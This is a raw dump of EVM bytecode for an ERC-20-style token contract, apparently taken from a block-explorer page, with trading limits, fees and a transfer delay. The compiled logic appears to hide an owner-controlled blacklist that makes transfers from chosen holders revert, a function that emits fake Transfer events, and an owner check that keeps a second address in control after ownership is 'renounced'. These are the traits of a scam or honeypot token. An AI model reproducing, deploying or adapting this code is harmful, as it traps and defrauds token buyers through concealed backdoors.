b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000bf08262000894565b915062000bfd8362000894565b92508262000c105762000c0f62000bb7565b5b828204905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000c51601f8362000ac2565b915062000c5e8262000c1b565b602082019050919050565b5f6020820190508181035f83015262000c828162000c43565b9050919050565b5f62000c958262000894565b915062000ca28362000894565b925082820190508082111562000cbd5762000cbc62000b40565b5b92915050565b62000cce8162000894565b82525050565b5f60208201905062000ce95f83018462000cc3565b92915050565b6080516139a662000d1d5f395f818161081901528181611dfb015281816124c701526125a201526139a65ff3fe608060405234801561000f575f80fd5b5060043610610251575f3560e01c80638da5cb5b11610144578063bbc0c742116100c1578063dd62ed3e11610085578063dd62ed3e146106ed578063e884f2601461071d578063f1f50a0214610727578063f2fde38b14610731578063f852b42d1461074d578063f8b45b051461076957610251565b8063bbc0c7421461065b578063c2b7bbb614610679578063c647b20e14610695578063c78d0fa0146106b1578063cc1776d3146106cf57610251565b80639e9bff4b116101085780639e9bff4b14610591578063a457c2d7146105c1578063a9059cbb146105f1578063ab5a188714610621578063b2c25bce1461063d57610251565b80638da5cb5b146104eb5780638ed6795e1461050957806391b296951461052557806395d89b41146105555780639e93ad8e1461057357610251565b80634a62bb65116101d25780636162c92e116101965780636162c92e1461045957806370945d5f1461046357806370a0823114610481578063715018a6146104b15780638d3e6e40146104bb57610251565b80634a62bb65146103b35780634f7041a5146103d1578063540dd452146103ef5780635d0044ca1461041f5780635d58ce361461043b57610251565b806323b872dd1161021957806323b872dd146102fb57806326ededb81461032b578063313ce567146103475780633950935114610365578063452ed4f11461039557610251565b806306fdde03146102555780630758d92414610273578063095ea7b3146102915780631111f43f146102c157806318160ddd146102dd575b5f80fd5b61025d610787565b60405161026a91906126bc565b60405180910390f35b61027b610817565b6040516102889190612756565b60405180910390f35b6102ab60048036038101906102a691906127e5565b61083b565b6040516102b8919061283d565b60405180910390f35b6102db60048036038101906102d691906128e1565b61085d565b005b6102e5610906565b6040516102f2919061294d565b60405180910390f35b61031560048036038101906103109190612966565b61090f565b604051610322919061283d565b60405180910390f35b610345600480360381019061034091906129b6565b61093d565b005b61034f610a18565b60405161035c9190612a2e565b60405180910390f35b61037f600480360381019061037a91906127e5565b610a20565b60405161038c919061283d565b60405180910390f35b61039d610a56565b6040516103aa9190612a56565b60405180910390f35b6103bb610a7b565b6040516103c8919061283d565b60405180910390f35b6103d9610a8e565b6040516103e6919061294d565b60405180910390f35b61040960048036038101906104049190612a6f565b610a94565b604051610416919061283d565b60405180910390f35b61043960048036038101906104349190612a9a565b610ab1565b005b610443610b9a565b604051610450919061294d565b60405180910390f35b610461610ba1565b005b61046b610c26565b604051610478919061294d565b60405180910390f35b61049b60048036038101906104969190612a6f565b610c2c565b6040516104a8919061294d565b60405180910390f35b6104b9610c72565b005b6104d560048036038101906104d09190612a6f565b610c85565b6040516104e2919061283d565b60405180910390f35b6104f3610ca2565b6040516105009190612a56565b60405180910390f35b610523600480360381019061051e9190612ac5565b610cc9565b005b61053f600480360381019061053a9190612a6f565b610dd0565b60405161054c919061283d565b60405180910390f35b61055d610ded565b60405161056a91906126bc565b60405180910390f35b61057b610e7d565b604051610588919061294d565b60405180910390f35b6105ab60048036038101906105a69190612a6f565b610e83565b6040516105b8919061283d565b60405180910390f35b6105db60048036038101906105d691906127e5565b610ed5565b6040516105e8919061283d565b60405180910390f35b61060b600480360381019061060691906127e5565b610f4a565b604051610618919061283d565b60405180910390f35b61063b60048036038101906106369190612a9a565b610f6c565b005b610645611056565b604051610652919061283d565b60405180910390f35b610663611068565b604051610670919061283d565b60405180910390f35b610693600480360381019061068e9190612a6f565b61107a565b005b6106af60048036038101906106aa9190612b03565b6110c5565b005b6106b9611151565b6040516106c6919061294d565b60405180910390f35b6106d7611157565b6040516106e4919061294d565b60405180910390f35b61070760048036038101906107029190612b41565b61115d565b604051610714919061294d565b60405180910390f35b6107256111df565b005b61072f611202565b005b61074b60048036038101906107469190612a6f565b611275565b005b61076760048036038101906107629190612ac5565b6112f7565b005b610771611493565b60405161077e919061294d565b60405180910390f35b60606006805461079690612bac565b80601f01602080910402602001604051908101604052809291908181526020018280546107c290612bac565b801561080d5780601f106107e45761010080835404028352916020019161080d565b820191905f5260205f20905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f80610845611499565b90506108528185856114a0565b600191505092915050565b610865611663565b5f5b83839050811015610900578160035f86868581811061088957610888612bdc565b5b905060200201602081019061089e9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806108f890612c36565b915050610867565b50505050565b5f600554905090565b5f80610919611499565b90506109268582856116e1565b61093185858561176c565b60019150509392505050565b610945611663565b5f5b83839050811015610a125783838281811061096557610964612bdc565b5b905060200201602081019061097a9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1660135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f7919061294d565b60405180910390a38080610a0a90612c36565b915050610947565b50505050565b5f6009905090565b5f80610a2a611499565b9050610a4b818585610a3c858961115d565b610a469190612c7d565b6114a0565b600191505092915050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960019054906101000a900460ff1681565b60115481565b600b602052805f5260405f205f915054906101000a900460ff1681565b610ab9611663565b610ac1610a18565b600a610acd9190612ddf565b60646001610ad9610906565b610ae39190612e29565b610aed9190612e97565b610af79190612e97565b811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090612f11565b60405180910390fd5b610b41610a18565b600a610b4d9190612ddf565b81610b589190612e29565b6010819055507fde064515fae8f8bb6d8ff19d2c6ba704322def7494147d8a971266430ade0788601054604051610b8f919061294d565b60405180910390a150565b5f47905090565b610ba9611663565b5f600960016101000a81548160ff0219169083151502179055505f60095f6101000a81548160ff021916908315150217905550610be4610906565b600f81905550610bf2610906565b6010819055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b600f5481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c7a611663565b610c835f6118cb565b565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cd1611663565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612f79565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f998cce27cbf44405c67eb636a634d5e2f2e6ff248b3d71fbbbb022f3c4c6dd2d8282604051610dc4929190612f97565b60405180910390a15050565b600e602052805f5260405f205f915054906101000a900460ff1681565b606060078054610dfc90612bac565b80601f0160208091040260200160405190810160405280929190818152602001828054610e2890612bac565b8015610e735780601f10610e4a57610100808354040283529160200191610e73565b820191905f5260205f20905b815481529060010190602001808311610e5657829003601f168201915b5050505050905090565b61271081565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f80610edf611499565b90505f610eec828661115d565b905083811015610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f289061302e565b60405180910390fd5b610f3e82868684036114a0565b60019250505092915050565b5f80610f54611499565b9050610f6181858561176c565b600191505092915050565b610f74611663565b610f7c610a18565b600a610f889190612ddf565b6103e86005610f95610906565b610f9f9190612e29565b610fa99190612e97565b610fb39190612e97565b811015610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90613096565b60405180910390fd5b610ffd610a18565b600a6110099190612ddf565b816110149190612e29565b600f819055507fbd5d3777a4ca05c2475cf0dd89d6a70173f775d8b42722c19d597cd7c870c4c7600f5460405161104b919061294d565b60405180910390a150565b60095f9054906101000a900460ff1681565b600d5f9054906101000a900460ff1681565b611082611663565b8060135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110cd611663565b816011819055507f5380a61520019ce8270d583f62f1b2b9f4f4372e1acaaf708f4865cecece0508601154604051611105919061294d565b60405180910390a1806012819055507fa02824f65350567bc405e202b741e7ca6274004a9feeb44149df72b8bd599c97601254604051611145919061294d565b60405180910390a15050565b600a5481565b60125481565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111e7611663565b5f60095f6101000a81548160ff021916908315150217905550565b61120a611663565b600d5f9054906101000a900460ff1615611259576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611250906130fe565b60405180910390fd5b6001600d5f6101000a81548160ff021916908315150217905550565b61127d611663565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e29061318c565b60405180910390fd5b6112f4816118cb565b50565b6112ff611663565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612f79565b60405180910390fd5b806114025760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f8906131f4565b60405180910390fd5b5b80600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f8f9f40630a1d139e6cf69b4f447ca47a36f10a017524efaa38252e516fa227ce8282604051611487929190612f97565b60405180910390a15050565b60105481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361150e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150590613282565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390613310565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611656919061294d565b60405180910390a3505050565b61166b611499565b73ffffffffffffffffffffffffffffffffffffffff1661168961198c565b73ffffffffffffffffffffffffffffffffffffffff16146116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d690613378565b60405180910390fd5b565b5f6116ec848461115d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117665781811015611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f906133e0565b60405180910390fd5b61176584848484036114a0565b5b50505050565b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806118075750600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061181e5750600960029054906101000a900460ff165b156118335761182e83838361199f565b6118c6565b600d5f9054906101000a900460ff16611881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187890613448565b60405180910390fd5b61188c838383611c0e565b816118979190613466565b9050600960019054906101000a900460ff16156118ba576118b9838383611de5565b5b6118c583838361199f565b5b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80611996612242565b90508091505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0490613509565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290613597565b60405180910390fd5b611a868383836122e2565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0190613625565b60405180910390fd5b81810360025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bf5919061294d565b60405180910390a3611c08848484612342565b50505050565b5f600a54611c1b30610c2c565b10158015611c365750600960029054906101000a900460ff16155b8015611c895750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ccc576001600960026101000a81548160ff021916908315150217905550611cb1612347565b5f600960026101000a81548160ff0219169083151502179055505b5f600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611d2457505f601254115b15611d4b5761271060125484611d3a9190612e29565b611d449190612e97565b9050611dc6565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611da257505f601154115b15611dc55761271060115484611db89190612e29565b611dc29190612e97565b90505b5b5f811115611dda57611dd985308361199f565b5b809150509392505050565b60095f9054906101000a900460ff1615611f64577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e9c5750600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f63574360085f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f179061368d565b60405180910390fd5b4360085f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120015750600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120a857600f5481111561204b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612042906136f5565b60405180910390fd5b60105461205783610c2c565b826120629190612c7d565b11156120a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209a9061375d565b60405180910390fd5b61223d565b600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121455750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561219457600f5481111561218f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612186906136f5565b60405180910390fd5b61223c565b600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661223b576010546121ee83610c2c565b826121f99190612c7d565b111561223a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122319061375d565b60405180910390fd5b5b5b5b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122ba575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff166122dd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561233d575f811461233c575f80fd5b5b505050565b505050565b5f61235130610c2c565b90505f81036123605750612428565b6028600a5461236f9190612e29565b811115612388576028600a546123859190612e29565b90505b6123918161242a565b5f471115612426575f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516123df906137a8565b5f6040518083038185875af1925050503d805f8114612419576040519150601f19603f3d011682016040523d82523d5f602084013e61241e565b606091505b505080915050505b505b565b5f600267ffffffffffffffff811115612446576124456137bc565b5b6040519080825280602002602001820160405280156124745781602001602082028036833780820191505090505b50905030815f8151811061248b5761248a612bdc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561252e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061255291906137fd565b8160018151811061256657612565612bdc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612601959493929190613918565b5f604051808303815f87803b158015612618575f80fd5b505af115801561262a573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561266957808201518184015260208101905061264e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61268e82612632565b612698818561263c565b93506126a881856020860161264c565b6126b181612674565b840191505092915050565b5f6020820190508181035f8301526126d48184612684565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61271e612719612714846126dc565b6126fb565b6126dc565b9050919050565b5f61272f82612704565b9050919050565b5f61274082612725565b9050919050565b61275081612736565b82525050565b5f6020820190506127695f830184612747565b92915050565b5f80fd5b5f80fd5b5f612781826126dc565b9050919050565b61279181612777565b811461279b575f80fd5b50565b5f813590506127ac81612788565b92915050565b5f819050919050565b6127c4816127b2565b81146127ce575f80fd5b50565b5f813590506127df816127bb565b92915050565b5f80604083850312156127fb576127fa61276f565b5b5f6128088582860161279e565b9250506020612819858286016127d1565b9150509250929050565b5f8115159050919050565b61283781612823565b82525050565b5f6020820190506128505f83018461282e565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261287757612876612856565b5b8235905067ffffffffffffffff8111156128945761289361285a565b5b6020830191508360208202830111156128b0576128af61285e565b5b9250929050565b6128c081612823565b81146128ca575f80fd5b50565b5f813590506128db816128b7565b92915050565b5f805f604084860312156128f8576128f761276f565b5b5f84013567ffffffffffffffff81111561291557612914612773565b5b61292186828701612862565b93509350506020612934868287016128cd565b9150509250925092565b612947816127b2565b82525050565b5f6020820190506129605f83018461293e565b92915050565b5f805f6060848603121561297d5761297c61276f565b5b5f61298a8682870161279e565b935050602061299b8682870161279e565b92505060406129ac868287016127d1565b9150509250925092565b5f805f604084860312156129cd576129cc61276f565b5b5f84013567ffffffffffffffff8111156129ea576129e9612773565b5b6129f686828701612862565b93509350506020612a09868287016127d1565b9150509250925092565b5f60ff82169050919050565b612a2881612a13565b82525050565b5f602082019050612a415f830184612a1f565b92915050565b612a5081612777565b82525050565b5f602082019050612a695f830184612a47565b92915050565b5f60208284031215612a8457612a8361276f565b5b5f612a918482850161279e565b91505092915050565b5f60208284031215612aaf57612aae61276f565b5b5f612abc848285016127d1565b91505092915050565b5f8060408385031215612adb57612ada61276f565b5b5f612ae88582860161279e565b9250506020612af9858286016128cd565b9150509250929050565b5f8060408385031215612b1957612b1861276f565b5b5f612b26858286016127d1565b9250506020612b37858286016127d1565b9150509250929050565b5f8060408385031215612b5757612b5661276f565b5b5f612b648582860161279e565b9250506020612b758582860161279e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612bc357607f821691505b602082108103612bd657612bd5612b7f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612c40826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612c7257612c71612c09565b5b600182019050919050565b5f612c87826127b2565b9150612c92836127b2565b9250828201905080821115612caa57612ca9612c09565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612d0557808604811115612ce157612ce0612c09565b5b6001851615612cf05780820291505b8081029050612cfe85612cb0565b9450612cc5565b94509492505050565b5f82612d1d5760019050612dd8565b81612d2a575f9050612dd8565b8160018114612d405760028114612d4a57612d79565b6001915050612dd8565b60ff841115612d5c57612d5b612c09565b5b8360020a915084821115612d7357612d72612c09565b5b50612dd8565b5060208310610133831016604e8410600b8410161715612dae5782820a905083811115612da957612da8612c09565b5b612dd8565b612dbb8484846001612cbc565b92509050818404811115612dd257612dd1612c09565b5b81810290505b9392505050565b5f612de9826127b2565b9150612df483612a13565b9250612e217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d0e565b905092915050565b5f612e33826127b2565b9150612e3e836127b2565b9250828202612e4c816127b2565b91508282048414831517612e6357612e62612c09565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ea1826127b2565b9150612eac836127b2565b925082612ebc57612ebb612e6a565b5b828204905092915050565b7f4d757374206265203e3d203125000000000000000000000000000000000000005f82015250565b5f612efb600d8361263c565b9150612f0682612ec7565b602082019050919050565b5f6020820190508181035f830152612f2881612eef565b9050919050565b7f5a65726f204164647265737300000000000000000000000000000000000000005f82015250565b5f612f63600c8361263c565b9150612f6e82612f2f565b602082019050919050565b5f6020820190508181035f830152612f9081612f57565b9050919050565b5f604082019050612faa5f830185612a47565b612fb7602083018461282e565b9392505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61301860258361263c565b915061302382612fbe565b604082019050919050565b5f6020820190508181035f8301526130458161300c565b9050919050565b7f4d757374206265203e3d20302e352500000000000000000000000000000000005f82015250565b5f613080600f8361263c565b915061308b8261304c565b602082019050919050565b5f6020820190508181035f8301526130ad81613074565b9050919050565b7f54726164696e67206163746976650000000000000000000000000000000000005f82015250565b5f6130e8600e8361263c565b91506130f3826130b4565b602082019050919050565b5f6020820190508181035f830152613115816130dc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61317660268361263c565b91506131818261311c565b604082019050919050565b5f6020820190508181035f8301526131a38161316a565b9050919050565b7f50616972000000000000000000000000000000000000000000000000000000005f82015250565b5f6131de60048361263c565b91506131e9826131aa565b602082019050919050565b5f6020820190508181035f83015261320b816131d2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61326c60248361263c565b915061327782613212565b604082019050919050565b5f6020820190508181035f83015261329981613260565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132fa60228361263c565b9150613305826132a0565b604082019050919050565b5f6020820190508181035f830152613327816132ee565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61336260208361263c565b915061336d8261332e565b602082019050919050565b5f6020820190508181035f83015261338f81613356565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6133ca601d8361263c565b91506133d582613396565b602082019050919050565b5f6020820190508181035f8301526133f7816133be565b9050919050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61343260128361263c565b915061343d826133fe565b602082019050919050565b5f6020820190508181035f83015261345f81613426565b9050919050565b5f613470826127b2565b915061347b836127b2565b925082820390508181111561349357613492612c09565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6134f360258361263c565b91506134fe82613499565b604082019050919050565b5f6020820190508181035f830152613520816134e7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61358160238361263c565b915061358c82613527565b604082019050919050565b5f6020820190508181035f8301526135ae81613575565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61360f60268361263c565b915061361a826135b5565b604082019050919050565b5f6020820190508181035f83015261363c81613603565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e0000000000000000005f82015250565b5f61367760178361263c565b915061368282613643565b602082019050919050565b5f6020820190508181035f8301526136a48161366b565b9050919050565b7f4d61782074782065786365656465642e000000000000000000000000000000005f82015250565b5f6136df60108361263c565b91506136ea826136ab565b602082019050919050565b5f6020820190508181035f83015261370c816136d3565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f61374760138361263c565b915061375282613713565b602082019050919050565b5f6020820190508181035f8301526137748161373b565b9050919050565b5f81905092915050565b50565b5f6137935f8361377b565b915061379e82613785565b5f82019050919050565b5f6137b282613788565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506137f781612788565b92915050565b5f602082840312156138125761381161276f565b5b5f61381f848285016137e9565b91505092915050565b5f819050919050565b5f61384b61384661384184613828565b6126fb565b6127b2565b9050919050565b61385b81613831565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61389381612777565b82525050565b5f6138a4838361388a565b60208301905092915050565b5f602082019050919050565b5f6138c682613861565b6138d0818561386b565b93506138db8361387b565b805f5b8381101561390b5781516138f28882613899565b97506138fd836138b0565b9250506001810190506138de565b5085935050505092915050565b5f60a08201905061392b5f83018861293e565b6139386020830187613852565b818103604083015261394a81866138bc565b90506139596060830185612a47565b613966608083018461293e565b969550505050505056fea26469706673582212201e6dab95047c61f9f1a7007791978b2daf40ea95648fe86c7c3a57331ffd5dc964736f6c63430008150033000000000000000000000000552a4e5661aa2bcceab56425805e69ebfba33d53
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610251575f3560e01c80638da5cb5b11610144578063bbc0c742116100c1578063dd62ed3e11610085578063dd62ed3e146106ed578063e884f2601461071d578063f1f50a0214610727578063f2fde38b14610731578063f852b42d1461074d578063f8b45b051461076957610251565b8063bbc0c7421461065b578063c2b7bbb614610679578063c647b20e14610695578063c78d0fa0146106b1578063cc1776d3146106cf57610251565b80639e9bff4b116101085780639e9bff4b14610591578063a457c2d7146105c1578063a9059cbb146105f1578063ab5a188714610621578063b2c25bce1461063d57610251565b80638da5cb5b146104eb5780638ed6795e1461050957806391b296951461052557806395d89b41146105555780639e93ad8e1461057357610251565b80634a62bb65116101d25780636162c92e116101965780636162c92e1461045957806370945d5f1461046357806370a0823114610481578063715018a6146104b15780638d3e6e40146104bb57610251565b80634a62bb65146103b35780634f7041a5146103d1578063540dd452146103ef5780635d0044ca1461041f5780635d58ce361461043b57610251565b806323b872dd1161021957806323b872dd146102fb57806326ededb81461032b578063313ce567146103475780633950935114610365578063452ed4f11461039557610251565b806306fdde03146102555780630758d92414610273578063095ea7b3146102915780631111f43f146102c157806318160ddd146102dd575b5f80fd5b61025d610787565b60405161026a91906126bc565b60405180910390f35b61027b610817565b6040516102889190612756565b60405180910390f35b6102ab60048036038101906102a691906127e5565b61083b565b6040516102b8919061283d565b60405180910390f35b6102db60048036038101906102d691906128e1565b61085d565b005b6102e5610906565b6040516102f2919061294d565b60405180910390f35b61031560048036038101906103109190612966565b61090f565b604051610322919061283d565b60405180910390f35b610345600480360381019061034091906129b6565b61093d565b005b61034f610a18565b60405161035c9190612a2e565b60405180910390f35b61037f600480360381019061037a91906127e5565b610a20565b60405161038c919061283d565b60405180910390f35b61039d610a56565b6040516103aa9190612a56565b60405180910390f35b6103bb610a7b565b6040516103c8919061283d565b60405180910390f35b6103d9610a8e565b6040516103e6919061294d565b60405180910390f35b61040960048036038101906104049190612a6f565b610a94565b604051610416919061283d565b60405180910390f35b61043960048036038101906104349190612a9a565b610ab1565b005b610443610b9a565b604051610450919061294d565b60405180910390f35b610461610ba1565b005b61046b610c26565b604051610478919061294d565b60405180910390f35b